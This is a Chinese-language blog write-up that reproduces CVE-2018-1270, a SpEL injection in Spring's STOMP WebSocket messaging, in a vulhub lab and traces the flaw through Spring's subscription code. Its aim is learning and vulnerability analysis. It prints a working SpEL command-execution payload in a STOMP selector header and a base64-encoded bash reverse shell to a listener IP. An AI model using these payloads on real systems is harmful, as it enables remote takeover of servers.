記一次曲折的CVE-2018-1270復現分析
前言
前兩天接到朋友對某個授權目標的漏掃結果,也算是初次接觸到這個漏洞,就想著順手分析一下復現一下,因為分析這個漏洞的文章也比較少,所以剛開始比較迷,進度也比較慢。
漏洞復現
使用vulhub搭建環境,下載vulhub
git clone https://github.com/vulhub/vulhub.git
spring目錄下有docker映象直接啟起來
sudo docker-compose up -d
訪問8080埠即可檢視
環境搭建ok,其實這裡使用構造的payload不知道為什麼不可以,稍後嘗試,先使用exp去執行,在環境中剛好有exp,我們只需要修改目標ip
修改執行的命令
執行EXP
進入docker容器檢視是否成功生成資料
ocker exec -it 1f699e14e /bin/bash
驗證EXP成功利用,這裡嘗試一下反彈shell,在另一臺終端監聽一個埠
nc -lvp 9999
修改EXP
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMTQuMjUxLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}
得到容器的shell
由於線上編碼的平臺不能使用,所以需要自己做一下base64的編碼然後再解碼,但是這裡為什麼直接反彈的shell不能夠執行呢?
是因為管道符、輸入輸出重定向,只有在bash環境下才能用。由於專案環境為Java環境不支援管道符、輸入輸出重定向等。重定向和管道符的使用方式在正在啟動的程序的中沒有意義。例如ls > 1.txt
在shell中執行為將當前目錄的列表輸出到命名為 1.txt
。但是在 exec()
函式的中,該命令為解釋為獲取 >
和 1.txt
目錄的列表。
下載原始碼
wget https://github.com/spring-guides/gs-messaging-stomp-websocket.git
新建專案匯入pom.xml檔案搭建環境,配置配置檔案
執行本地已搭建
本地搭建目的是方便除錯。
修改程式碼位置
src->main->resources->static->app.js
修改connect方法
function connect() {
var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
var socket = new SockJS('/gs-guide-websocket');
stompClient = Stomp.over(socket);
stompClient.connect({}, function (frame) {
setConnected(true);
console.log('Connected: ' + frame);
stompClient.subscribe('/topic/greetings', function (greeting) {
showGreeting(JSON.parse(greeting.body).content);
},header);
});
}
儲存後重新執行,Websocket連線,send傳送任意資訊即可觸發calc.exe
分析
本地windows的觸發條件更能清楚的理解,exec中程式碼執行的條件是由於建立socket通訊之後傳送資訊的時候觸發的,這裡通過下斷點來除錯
首先先了解幾個概念,沒有java框架開發經驗的話確實很讓人頭疼,SpEL表示式,是Spring表示式的簡寫,能夠以一種強大而簡潔的方式將值裝配到Bean屬性和構造器引數中,在這個過程中所使用的表示式會在執行時計算得到值。簡單理解就是利用簡單的表達形式來實現操作。
SpEL支援如下表達式:
-
基本表示式:字面量表達式、關係,邏輯與算數運算表示式、字串連線及擷取表示式、三目運算及Elivis表示式、正則表示式、括號優先順序表示式;
-
類相關表示式:類型別表示式、類例項化、instanceof表示式、變數定義及引用、賦值表示式、自定義函式、物件屬性存取及安全導航表示式、物件方法呼叫、Bean引用;
-
集合相關表示式:內聯List、內聯陣列、集合,字典訪問、列表,字典,陣列修改、集合投影、集合選擇;不支援多維內聯陣列初始化;不支援內聯字典定義;
-
其他表示式:模板表示式。
STOMP協議
STOMP是一個簡單的可互操作的基於幀的協議, 作用於中間伺服器在客戶端之間進行非同步訊息傳遞,STOMP協議基於TCP協議,類似於HTTP協議,使用了以下命令:
CONNECT
SEND
SUBSCRIBE
UNSUBSCRIBE
BEGIN
COMMIT
ABORT
ACK
NACK
DISCONNECT
Ctrl+N
根據披露的漏洞位置,直接搜尋問題類DefaultSubscriptionRegistry
在Protected屬性addSubscriptionInternal方法中,定義了selectorHeaderInUse的屬性為true
95行的時候把四個引數,sessinId,subsId,destination(訂閱地址("/topic/greetings")以及expression新增進subscriptionRegistry屬性中。
app.js修改的程式碼位置為
var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
private屬性中的filterSubscriptions方法在什麼時候會觸發呢?下斷點除錯會發現,在send傳送資訊的時候會傳入message引數,這個時候就會呼叫前端傳入的selector構造的內容即SpEL表示式的內容,從第二種的復現方式來看就是這樣的,但是在除錯的時候正常的利用是首先觸發
118行呼叫findSubscriptionsInternal函式
ctrl+N向上查詢函式
在AbstractSubscriptionRegistry類中找到了在滿足else的時候呼叫了findSubscriptionsInternal函式,可能在這裡也許有師傅有點困惑,在這裡我們需要明白的是引數destination(訂閱地址)和引數message(含有SpEL表示式即payload)的內容。
但是這裡有個疑問,那麼哪裡利用到了STOMP協議的內容呢?
上文提到了STOMP協議的命令,裡面涉及到的SUBSCRIBE命令,在SUBSCRIBE命令下selector頭值會作為表示式儲存,在實現addSubscriptionInternal方法的方法生成sessionID的時候表示式已經實現了儲存。
這個時候就很明顯了,seesionid的生成就涉及到了websocket實現客戶端和伺服器之間的互動
到這裡分析就結束了,但是函式呼叫以及漏洞觸發的原因已經分析的比較清楚了。
小結
Java的東西忘記的差不多了,IDEA的快捷鍵都給忘了,突然分析起來很頭大,可參考的內容也比較少,走的坑也比較多吧,有問題的地方歡迎師傅們指正。
參考文章
https://mp.weixin.qq.com/s/9ZHopkDK8aVzFPrSOEgOVg
https://mp.weixin.qq.com/s/K56p8PkyrxmsZ1holFbh2Q
https://www.jianshu.com/p/ae3922db1f70
更多靶場實驗練習、網安學習資料,請點選這裡>>